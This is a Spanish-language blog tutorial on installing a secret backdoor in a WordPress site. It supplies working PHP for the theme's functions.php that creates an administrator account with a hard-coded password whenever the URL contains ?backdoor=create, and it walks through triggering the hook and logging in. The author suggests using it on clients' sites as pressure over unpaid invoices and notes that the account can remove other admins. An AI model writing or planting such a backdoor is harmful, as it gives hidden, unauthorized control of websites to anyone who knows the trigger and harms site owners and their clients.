Cómo crear una puerta trasera de acceso a WordPress

Para crear una puerta trasera en WordPress se añade una función al functions.php del tema que, al detectar un parámetro secreto en la URL (por ejemplo ?backdoor=create), crea un usuario con rol administrator. Este truco solo aplica a WordPress en cuyo servidor tengas acceso, no permite hackear sitios ajenos. Úsalo con responsabilidad: existe riesgo de seguridad y posibles implicaciones legales.

Imagina que pudieses crear un acceso secreto para acceder como administrador a un WordPress. ¿Qué harías? Hoy te voy a enseñar a crear una “puerta trasera” a una Web hecha con WordPress a cuyo servidor tengas acceso.

Para qué sirve un backdoor

Este truco no te permite hackear cualquier WordPress, sólo crear una puerta trasera en una Web a cuyo servidor puedas conectarte para que, en caso de que sea necesario, puedas acceder en un futuro. El uso que quieras darle depende de ti, pero se me ocurren dos usos “benévolos”:

• Como medida de seguridad en caso de que un cliente pierda el acceso a la Web y no tenga ninguna forma de recuperarlo.
• Como medida de presión en caso de que un cliente se niegue a pagar un trabajo que le hayas hecho.

En realidad se me ocurren muchos usos “malévolos” para un backdoor, pero prefiero dejar que utilices tu imaginación :)

¿Seguro que quieres crear una puerta trasera para WordPress? Entonces sigue los siguientes pasos.

1. Pega el código en el functions.php

Pega el siguiente código en el archivo functions.php del tema de WordPress:

/* Función para crear una puerta trasera en WordPress */
add_action('wp_head', 'puerta_trasera');
function puerta_trasera() {
  if ($_GET['backdoor'] == 'create') {
    require('wp-includes/registration.php');
    if (!username_exists('backdoor')) {
      $user_id = wp_create_user('backdoor', 'c0ntra5eNYa');
      $user = new WP_User($user_id);
      $user->set_role('administrator');
      echo 'Puerta trasera creada';
      die();
    }
  }
}

Si no existe el archivo functions.php en tu tema, créalo y recuerda poner <?php al comienzo para que pueda ejecutarse el código PHP. Ahora ya está listo para ejecutarse en caso necesario.

2. Ejecuta el código

Si se da el caso de que necesites crear la puerta trasera, accede a la Web introduciendo el parámetro ?backdoor=create al final de la URL, así:

http://tudominio.com?backdoor=create

Esto hace que WordPress ejecute el código que hemos introducido en el archivo functions.php y cree un usuario con permisos de administrador.

3. Accede a WordPress

Ahora podrás loguearte en WordPress accediendo a http://tudominio.com/wp-login.php con las siguientes credenciales:

Campo	Valor
Usuario	backdoor
Contraseña	c0ntra5eNYa

Una vez dentro, verás que tienes credenciales de administrador, lo que significa que puedes hacer todo lo que quieras, incluso eliminar a otros administradores:

Advertencia

¿Recuerdas la famosa frase del Tío Ben en la película de Spiderman: “Un gran poder conlleva una gran responsabilidad”? Pues eso. Sólo porque puedas crear una puerta trasera en la Web de un cliente no significa que debas usarla.

Ten en cuenta que utilizar este código es un riesgo para la seguridad de la Web. Cualquiera podría ejecutar esta función si llama al parámetro correcto en la URL.

CONSULTA CON TU ABOGADO PRIMERO: si vas a utilizar este código en la Web de un cliente, tal vez debas especificar en el contrato que firméis que podrías utilizar una puerta trasera en caso de impago o pérdida de las credenciales de acceso.

Sé buen@ :)

Preguntas frecuentes

¿Esto sirve para hackear cualquier WordPress?

No. Solo funciona en WordPress a cuyo servidor tengas acceso para poder editar el functions.php del tema. Si no tienes acceso al código, no puedes inyectar la puerta trasera. Esto no es una herramienta de hacking, es un mecanismo de recuperación.

¿Es legal usar este código en la web de un cliente?

Depende de lo que firmes con el cliente. Si vas a dejar una puerta trasera, refléjalo en el contrato (especialmente para casos de impago o pérdida de credenciales). Consulta primero con tu abogado: usar accesos no autorizados puede tener implicaciones legales.

¿Es seguro dejar este código en producción?

Tiene riesgo: cualquiera que conozca el parámetro ?backdoor=create puede crear un usuario admin. Por eso, antes de usarlo en una web real, cambia el nombre del parámetro por algo no obvio y la contraseña c0ntra5eNYa por una mucho más robusta.

¿Qué hago si el archivo functions.php no existe en mi tema?

Créalo en la carpeta del tema y empieza el archivo con la etiqueta <?php para que el código PHP se ejecute. Sin esa etiqueta de apertura el código se imprimirá como texto plano en lugar de ejecutarse.

Conclusiones clave

• Este método requiere acceso al servidor del WordPress objetivo: no sirve para hackear sitios ajenos.
• El código añade un hook a wp_head que crea un usuario admin al detectar el parámetro ?backdoor=create.
• Usos legítimos: recuperación de acceso para clientes y presión por impago.
• Cambia la contraseña por defecto (c0ntra5eNYa) y el nombre del parámetro antes de usarlo en producción.
• Existe riesgo de seguridad: cualquiera que conozca el parámetro puede crear el admin.
• Considera implicaciones legales y refléjalo en el contrato con tu cliente.